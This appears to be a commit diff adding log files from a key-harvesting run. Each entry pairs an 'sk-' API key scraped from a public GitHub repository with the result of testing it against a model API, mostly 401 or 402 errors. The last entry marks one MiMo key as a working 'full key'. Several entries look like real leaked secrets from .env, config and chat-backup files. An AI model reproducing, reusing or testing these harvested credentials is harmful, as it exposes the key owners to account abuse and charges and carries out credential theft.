sk-notEnoughContextA1b2C3d4E5f6G7h8|https://github.com/LeeBush22/agent-security-scanner/blob/f146343ed184f4f553bf74bef9478d1f4faf38b0/tests/test_secrets_rules.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
sk-cp-hPtVrPJunuCzZK5UmKX2etTTgJE_Lz3iy1zVuK0dk0n8nRGBAneasJF_-4jZ4ZkLzlqw62O0FMhc75UvyuY7oAuheYmMSodaPmAeROQIzTH97BOdfV3ociE|https://github.com/WnadeyaowuOraganization/.github/blob/3f8a6ffada0b6256e707e88b2bd123ca489d5bd9/scripts/model-switch/keys.json|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
sk-kimi-xA8Rg5wMzVEcwXQILlJswwQXq5p7r51ZGVya2thvKQmZF0fAxaH2f6jwDOEJwGnY|https://github.com/WnadeyaowuOraganization/.github/blob/3f8a6ffada0b6256e707e88b2bd123ca489d5bd9/scripts/model-switch/keys.json|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
sk-language-understanding-on-mmlu|https://github.com/ConardLi/easy-learn-ai/blob/e6c189aee507d0ba1170d885b296cc2702e8bcff/data/nav/sites.json|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
sk-dummy-key-for-local-endpoint|https://github.com/OpenSQZ/Jailbreak-Foundry/blob/f1526942fb1c42aa3ba076b02c414c0465eb3ae5/src/jbfoundry/llm/litellm.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
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|https://github.com/123fjh/CircuitMind/blob/4677b755a718f5b15fc304ba3866a8e04a9a2902/GUI/utils/config.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
sk-f73a42bc3f1643b69059757101005d0d|https://github.com/123fjh/CircuitMind/blob/4677b755a718f5b15fc304ba3866a8e04a9a2902/GUI/utils/config.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
sk-or-A1b2C3d4E5f6G7h8I9j0K1l2|https://github.com/LeeBush22/agent-security-scanner/blob/f146343ed184f4f553bf74bef9478d1f4faf38b0/tests/test_secrets_rules.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
sk-2909a8954b604f7c847c6d664c912fe6|https://github.com/hey-sm/buildYp/blob/f53a5e6719cdc12dbaac0b1e3f3b25c7ef62997f/src/renderer/src/store/migrate.ts|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
sk-kimi-ZLtO5HpArs0IH4sCzc8qwtOb8vRvvTKNxDvs5MmxugGQtkCAoReOqPpVuTicPdRf|https://github.com/WnadeyaowuOraganization/.github/blob/3f8a6ffada0b6256e707e88b2bd123ca489d5bd9/scripts/model-switch/keys.json|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
sk-proxyA1b2C3d4E5f6G7h8I9j0|https://github.com/LeeBush22/agent-security-scanner/blob/f146343ed184f4f553bf74bef9478d1f4faf38b0/tests/test_secrets_rules.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
sk-36de33a3827f43398ed027e733dbd74a|https://github.com/Affordan/aigo/blob/9040947491ed172c04803bf9d260e7f5086afae8/scripts/DeepSeekPromptGenerator.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
sk-c8c5cc28a0bdc06b1de7de952f9bb3e05df74b5a40d1737c7bbe3d3f90f2f789|https://github.com/xuw/infiniproxy/blob/d20a962c26a7195777e03d9bdef86d136cc49ad3/.claude/settings.local.json|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
sk-siliconA1b2C3d4E5f6G7h8I9j0|https://github.com/LeeBush22/agent-security-scanner/blob/f146343ed184f4f553bf74bef9478d1f4faf38b0/tests/test_secrets_rules.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
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|https://github.com/ChimerAI-SZ/creamoda_be_new/blob/7a24f079c788edc48f36df854925f7779fb6b92b/config.createprod.yaml|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
sk-deepseekA1b2C3d4E5f6G7h8I9j0|https://github.com/LeeBush22/agent-security-scanner/blob/f146343ed184f4f553bf74bef9478d1f4faf38b0/tests/test_secrets_rules.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
sk-nMe5PVXTbWiJ9bdYSDx8GPHxF4HySPQ9dhUEaHeTYl3OAiJU|https://github.com/tangerdream/homework-review-skill/blob/98b67865cc2fa51c0a8ef26ab4e08f5d4a723907/config.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1,6 @@
|
||||
sk-why-anthropic-study-finds|https://github.com/ilhukjung-cloud/ai-daily-clipping/blob/e33c9bc4e29c47d7bcdb8ea3e89f0bc2399da297/output/2026-07-27.json|net URLError: <urlopen error [Errno -2] Name or service not known>
|
||||
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|https://github.com/zyrf-cl/agent-modescooperation/blob/60488886ad03fda795108c8d8445f85644e7310a/ai_collaboration/config/users.json|net URLError: <urlopen error [Errno -2] Name or service not known>
|
||||
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|https://github.com/GeekSomesh/LexiLearn/blob/bbd1bd87a5e2cf3613248b457ddc029eda5e9e85/src/components/SummarizerPage.tsx|net URLError: <urlopen error [Errno -2] Name or service not known>
|
||||
sk-e834w7r3sm1e40lagworqazxu2q4zcvzkaqsko775vku1fl7|https://github.com/Delqhi-Projects/ZOE-Solar-Accounting-OCR/blob/6c8531b20677845b328d4361e60f24deca0855f2/.claude/global.env|net URLError: <urlopen error [Errno -2] Name or service not known>
|
||||
sk-hynix-samsung-to-boost-memory-output-in-us|https://github.com/specialpointcentral/ai-daily-rss-reader/blob/5915b70d7007bb82de2fe3dc6c1c8de3749f63e3/public/rss.xml|net URLError: <urlopen error [Errno -2] Name or service not known>
|
||||
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|https://github.com/zyrf-cl/agent-modescooperation/blob/60488886ad03fda795108c8d8445f85644e7310a/ai_collaboration/config/users.json|net URLError: <urlopen error [Errno -2] Name or service not known>
|
||||
Whitespace-only changes.
@@ -0,0 +1,287 @@
|
||||
sk-ds-3jPlkHskOlO8asR9AkjsSJdkOsa9|https://github.com/yangxinchnx-wq/SoloForge/blob/d88c4c431b9b4f8afc73120c4429e214886093aa/UI/src/components/settingsTabs/ModelAddTab.tsx|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-project-should-not-override-home|https://github.com/raycast/extensions/blob/3b0c72bb82ddef684eeeb9a5d69cb278eecf3efe/extensions/ai-voice-studio/scripts/verify-provider-env.mjs|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-ant-api03-yyyyyyyyyyyyyyyy|https://github.com/BenedictKing/ccx/blob/ebe33699466c4c93f605d8b16e5eb0567c127bd5/desktop/frontend/src/locales/en.json|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-hangs-session-prompt-timed-out-after-300000ms-json-rpc-error-32603|https://github.com/sleep2agi/agent-network/blob/07220b6cab4a40d52b1b2997ec71316dce42388f/docs-site/docs/en/changelog.md|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
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|https://github.com/PaRr0tBoY/Awesome-Vivaldi/blob/fc8de150c1df90847db45db5077fed1257c5261a/Vivaldi8.0Stable/Javascripts/TidyDownloads.js|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-kimi-omAuYzLuXO4oSY1vWdRvJcOA58BewQSHGgNerDfsdfpFpaCMr089gG9LyudGAieH|https://github.com/openocta/openocta/blob/243d6b9e4d5dd9fab56852ae3826f69c2aebdc1e/docs/model-providers.md|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-proj-4jKls9XjLk9AsDFgHJKLaSDFgHJK|https://github.com/yangxinchnx-wq/SoloForge/blob/d88c4c431b9b4f8afc73120c4429e214886093aa/UI/src/components/settingsTabs/ModelAddTab.tsx|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-proxy-local-replace-with-48-char-hex|https://github.com/wujfeng712-ui/codex-bridge/blob/81754d9a515643a60e77ce921d5cd2d1ceda4078/env.example|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-ant-api00-something-something|https://github.com/laszukdawid/terminal-agent/blob/2d25c86096e3b1b546c4731eb2e764e0e305579a/README.md|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-94c291588a8b4e8889e0ba8fe2016152|https://github.com/WYZlalalaugh/magentic-agent/blob/fd8b58976dd7b8089ac05e1aef36355ba2cfed65/config.yaml|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-ledger-outcome-verifier-rfc|https://github.com/SuperdeMan/cockpit-agent/blob/ec3ddbc9c5f67b05ed2baa9cfb8165eb35d30d66/docs/conventions.md|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-Ol1VX7IiknlhWk5kMfOK6ltkB34qR7e3RkirMd5xhAxdGmuhsGvSMzCbLNLftDIM|https://github.com/SHORiN-KiWATA/rime-llm-translator/blob/08b6410a556c25f13ce25567a5fc8764eac8aae2/src/default_state.json|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-model-cn-kaldi-multicn-0|https://github.com/FenZhongMY/Embedded-C-C-Code-Standard-Checker/blob/d4adfbab82c146da29837ccaf109e568a27fcad5/README.md|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-cp-jYDfXMOzr_mcy8KLNayEe0QsN_15CDdLAA9GQWqeHHvxBE5-lWrtlnSWkNmiacQjyu2X1WvWi_xkwM9BoO4BdTO7y67_iTU3Mn_rIrgRkshoCWVF6f2RtKo|https://github.com/zw093x/openclaw-workspace/blob/45bea9148798cd3fbc93829ac5b522fd4f8c9da4/memory/feishu-chat-backup/2026-04/2026-03-28/session-abeab5d6.txt|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-cd29e1ac-5ce7-4bb5-b2e8-ae532b54a234|https://github.com/yutianyu111602-glitch/wechathtmldownload/blob/35391d4638bc36f16eba9ce008a70de67011bb87/tools/stage7_rewrite/scripts/yuanbao_mimo_recover_posters.py|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
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|https://github.com/zw093x/openclaw-workspace/blob/45bea9148798cd3fbc93829ac5b522fd4f8c9da4/memory/feishu-chat-backup/2026-04/2026-03-28/session-abeab5d6.txt|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-cp-jYDfXMOzr_mcy8KLNayEe0QsN_15CDdLAA9GQWqeHHvxBE5-lWrtlnSWkNmia|https://github.com/zw093x/openclaw-workspace/blob/45bea9148798cd3fbc93829ac5b522fd4f8c9da4/memory/feishu-chat-backup/2026-04/2026-03-28/session-abeab5d6.txt|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-ai-models-physics-robots|https://github.com/flyryan/ai-news-aggregator/blob/3803a9e4bb66d541632cb3e91322224ad7834eff/web/data/2025-12-29/reddit.json|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-youtube-ai-chatbot-search|https://github.com/jacky-wzj/ai-news-daily/blob/f57588375ebb0bc7282df5b24d381bb08455e4d5/public/2026-04-28.html|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-predicts-ai-create-universal-high-income-make-saving-money-unnecessary|https://github.com/flyryan/ai-news-aggregator/blob/3803a9e4bb66d541632cb3e91322224ad7834eff/web/data/2025-12-29/reddit.json|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-altman-trial-openai-jury-selection|https://github.com/ghsaboias/ai-newsletter/blob/0e528c1e324247650cf5d8e0b858aa7429b8098f/pipeline/output/ai/2026-04-28/.prompt-hw.md|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-v-altman-jurors-dont-like-elon-musk|https://github.com/ghsaboias/ai-newsletter/blob/0e528c1e324247650cf5d8e0b858aa7429b8098f/pipeline/output/ai/2026-04-28/.prompt-hw.md|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-boost-new-yorker-article-sam-altman-x|https://github.com/ghsaboias/ai-newsletter/blob/0e528c1e324247650cf5d8e0b858aa7429b8098f/pipeline/output/ai/2026-04-28/.prompt-hw.md|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-altman-openai-trial-jury-selection-begins|https://github.com/ghsaboias/ai-newsletter/blob/0e528c1e324247650cf5d8e0b858aa7429b8098f/pipeline/output/ai/2026-04-28/.prompt-hw.md|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-wheeled-around-washington|https://github.com/Neurabuzz/neurabuzz/blob/3aaed208033a98b6b5b671c515350c9e9b87897b/archive/2025/5/2025-05-01-14_news.html|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-accuses-wsj-of-lying-about-tesla-looking-for-a-new-ceo|https://github.com/Neurabuzz/neurabuzz/blob/3aaed208033a98b6b5b671c515350c9e9b87897b/archive/2025/5/2025-05-01-14_news.html|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-mark-zuckerberg-donald-trump-billionaire-losers-maga|https://github.com/bojanadejanovic/hn-scraper/blob/d7e6af295f15c1f48d1ed9acd5795597745bed9d/docs/data/hn-digest-2025-05-06.csv|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-threatened-to-deport-engineers-who-exposed-flaws-in-tesla-cars|https://github.com/bojanadejanovic/hn-scraper/blob/d7e6af295f15c1f48d1ed9acd5795597745bed9d/docs/data/hn-digest-2025-05-06.csv|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-and-altman-face-off-in-trial-that-will-determine-openais-future|https://github.com/Yumi-note/Manage_SNS_Project/blob/427998944b931d94d759196bcd9a297d6d8135be/global-trend-jp-publisher/data/news/2026-04-28/073220/index.html|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-ceo-doge-trump-1851778600|https://github.com/Neurabuzz/neurabuzz/blob/3aaed208033a98b6b5b671c515350c9e9b87897b/archive/2025/5/2025-05-01-14_news.html|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-and-sam-altman-are-going-to-court-over-openais-future|https://github.com/Yumi-note/Manage_SNS_Project/blob/427998944b931d94d759196bcd9a297d6d8135be/global-trend-jp-publisher/data/news/2026-04-28/073220/index.html|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-vpmpbtccfubhujvleqpnxgmhrowggbioouqshcuscfrijmgh|https://github.com/MrZhang-Developer/newChatBIProject/blob/5ad1619922341c9533b050ae93c0221a5d5ed757/.env|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-bd73c6dd6a124923ac287093ad036c97|https://github.com/YakutsukuriYuu/yakutsukuriyuu.github.io/blob/5e0bee78430f8b34040e315df2ac3d285a329932/content/posts/2026-05/litellm-ai-gateway/index.md|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-4871e6817dd961100f1a1e6fab540bfdea12f464f55da6ef|https://github.com/YakutsukuriYuu/yakutsukuriyuu.github.io/blob/5e0bee78430f8b34040e315df2ac3d285a329932/content/posts/2026-05/litellm-ai-gateway/index.md|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-fdf066b5724d4c31a7f68c1095aa22cd|https://github.com/S14260/smartAgri/blob/0168fdc6c4140535bee3848de1af50ca7a297686/docs/changelog/phase2-5-bugfix-and-polish.md|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-md-1767778749952-473181546239243805696|https://github.com/MrZhang-Developer/newChatBIProject/blob/5ad1619922341c9533b050ae93c0221a5d5ed757/.env|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-just-doesnt-understand-the-sci-fi-visions-of-iain-m-banks|https://github.com/bojanadejanovic/hn-scraper/blob/d7e6af295f15c1f48d1ed9acd5795597745bed9d/docs/data/hn-digest-2025-05-02.csv|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-s-spacex-set-to-make-history-with-record-breaking-ipo|https://github.com/ghsaboias/ai-newsletter/blob/0e528c1e324247650cf5d8e0b858aa7429b8098f/pipeline/output/ai/2026-06-12/.prompt-world.md|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-questions-in-conversation|https://github.com/bojanadejanovic/hn-scraper/blob/d7e6af295f15c1f48d1ed9acd5795597745bed9d/docs/data/hn-digest-2025-05-02.csv|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-x6uKd28EmxXzgCCrWjI51MRrIzTchpugAxUshTr3mrgO7NH0zj_0YhA7yyJaWYBX2qQWjM-Ct4255Cxoy7O2dYzA0fxscbNNo-k9Sj4B0u1CuRV7x_80H1im0YK-xRQvV5s6b7UVUcoKwTA07qdrb8uNETKbt_NAdlpShwbJOpSE327-CuRSMhAzzsKSQHx68sqcA9wK5XCHtQjaBPRZ9-XikIX41VF2CY5hm9ZG8nm8eR4GVq4IEPesQGH8_Wb5dQCvtMPJsD0bF-7Gzu0p18rSK8BdIVsnBdru9D5MqPHoskPHfGj4me43aGipVSIo9o40e42zHWjDHV24JWGXOq9fQhdHn9Eh32j9IKbV11-eFnGeD_YKJdXvgzSk3ZNW746vY5WjeVsRD_kj_LfdJt_cmTHVZZ3QVzXaTst8f4B-rbWeQZUuALl02Umym5durSgxj3Jd9305tCL-QO-B89wbghFLqbveNShhfbb2TVGL_34CU7TYo-l25muh3JzZI96tZjtiRDE8qMrUNN_e_P2RZGok11qrPDeyGDDdNxBbaBSSMEmVT1j4_F-Isg1oX9IvIyPX0C-x4ZeftZKLMbAVZwAGBld17j0resk5SPFIFVu5KFTWvcGDd1wG7kgKpVEYHaEQ-MxBzpnrQyRSba055ZfH_yxdX9foOszI_49Kqb3snp5tu1A46OLcMgcgMv0ERY-LLtTcjbRLBI6hTqvOKiMyntixqmxHOfx6-5rL7U2dHVRzbPE46HM4iukmdaCnf7ibmsDTW6b0cSinuXRcNUxW1ceYcvUv7vUUZU5hdF4Mqr66s7Fo8qd1BPNnb0VEMFIvKWa56A7Ne7fM6tevnGFTBSxJu--GX7_GyhffGj3ybRbAj3P3VNafB9rzS-_KfLmFSRymC62r5gJQScQkgAQUFSy0T9zj2yJ9e9KX_DnyczHRGLkTubD9MMggMYCaMNiWKQl6ErCXa7g4ZsuAWubquQ_wA7RmB4XQfQj4-jpZFuH3mJsjQXfJ03-rHVCWI6FisyDcdp_PXTx8oEebuGeQpzjlhn6otXE3iyXlFCsNvghHeW1S-3PF75U4puwxQvGtrr-y34LCg9grBQfAABAP_MwyuuAdpdG33AHT5fADVZAu-P7ZlD2K4G5rvXmW4V0wZPOiFCioxGf5mkQ7EJ4c1NymjHpdXJosm4YZvmi-vLu9rcMHx2Urqs1hQvZX4hV44UbUbzrXcHyTqkzfTmwYlBmAJeLcjnJNGL3BX-99LijvRAmka0NV6yHvUcE9qGYU-hCfTPA5TiC2Pb7VEHn65aFWfBYb902VTxSDDMER_fOYRbfp0UpyMJk0LRq1z10j65JwwluLvrfBxiwKn6_R-RqP_LWuRJekyv7GADRyNM2cUuwmA0n3xw22aMoy815kzeDg7vgEqS7eD0FAcjV1Fet3NjuVBETCHKDRKyLKmUCvUT3LMtoEyKOcv16GJuxcNMpS6Q4KBFRabw3tm6wtmahAtkV4S81sRh6UUz-X98yBVYRQROCP-_4iaHg2EtLR0QZrX1lf6z74M9OYI|https://github.com/vtomnet/tests/blob/7c1fcef08f3fcfa54809aafffb5401d415f2f9df/bench/pi.d/sessions/2026-04-25T10-43-08-203Z_019dc43c-6f2b-71eb-a1c6-80c1f3076ab9.jsonl|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
sk-xchat-app-is-more-like-facebook-messenger-than-signal|https://github.com/Yumi-note/Manage_SNS_Project/blob/427998944b931d94d759196bcd9a297d6d8135be/global-trend-jp-publisher/data/news/2026-04-27/214913/tech_news_digest.json|401: {
|
||||
"error": {
|
||||
"message": "Invalid API Key",
|
||||
"param": "Please provide valid API Key",
|
||||
"code": "401",
|
||||
"type": "invalid_key"
|
||||
|
||||
Whitespace-only changes.
@@ -0,0 +1,40 @@
|
||||
sk-cfbsyiff06wjmifljcxdln82fsf3p17db54e68w8hbngbq11|https://github.com/plussign/ai-playground/blob/4afb4d348ddf90d7ad4a587bb5717b22ccacb127/mimo/mimo_tts_demo.py|402: {
|
||||
"error": {
|
||||
"code": "402",
|
||||
"message": "Insufficient account balance",
|
||||
"type": "insufficient_balance"
|
||||
}
|
||||
}
|
||||
|
||||
sk-ck49fnhqcb9uo91pqjvra4o53or7hahiyrhps2ztsedcl0mi|https://github.com/yun-qilong/flow_hub/blob/83a2961905f1a9e21715097407346f89b09d35b7/src/main.cpp|402: {
|
||||
"error": {
|
||||
"code": "402",
|
||||
"message": "Insufficient account balance",
|
||||
"type": "insufficient_balance"
|
||||
}
|
||||
}
|
||||
|
||||
sk-sjuovlykk2ryx2nlgy4gux0glsexekl81f1cf075vglrakkz|https://github.com/pimaksinsaat-cmyk/kiralama_projesi_v4/blob/d2485ed8ab1652e1c54f84e68ef15ddb1a53ea73/kilo.jsonc|402: {
|
||||
"error": {
|
||||
"code": "402",
|
||||
"message": "Insufficient account balance",
|
||||
"type": "insufficient_balance"
|
||||
}
|
||||
}
|
||||
|
||||
sk-c3ik1rbky5s8wejpwvjj3hufs7gh544ybxfxzts4jzb0cw19|https://github.com/zw093x/openclaw-workspace/blob/45bea9148798cd3fbc93829ac5b522fd4f8c9da4/memory/feishu-chat-backup/2026-04/2026-03-28/session-abeab5d6.txt|402: {
|
||||
"error": {
|
||||
"code": "402",
|
||||
"message": "Insufficient account balance",
|
||||
"type": "insufficient_balance"
|
||||
}
|
||||
}
|
||||
|
||||
sk-cd8fqe8x34tti4t4tfw9d8ktss9pg5l3eq3d2u0dmf0h3lco|https://github.com/zly7/EcoBrain/blob/e8d94f936eb208d299f19f887348c49f955d7a2f/start_backend.ps1|402: {
|
||||
"error": {
|
||||
"code": "402",
|
||||
"message": "Insufficient account balance",
|
||||
"type": "insufficient_balance"
|
||||
}
|
||||
}
|
||||
|
||||
Whitespace-only changes.
@@ -0,0 +1 @@
|
||||
MiMo|sk-cx8s34vwo7n1j79mm5l07228ib6x3tfkqdtzz17rxf96p0x0|https://github.com/Wjs226213/obsidian/blob/e5bf1ea61d734fcd4060e44ab4c225cc8d245f68/js-Note/.claudian/claudian-settings.json|[mimo-v2.5] 200 OpenAI+Anthropic, full key
|
||||
Loaded 100 of 684 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user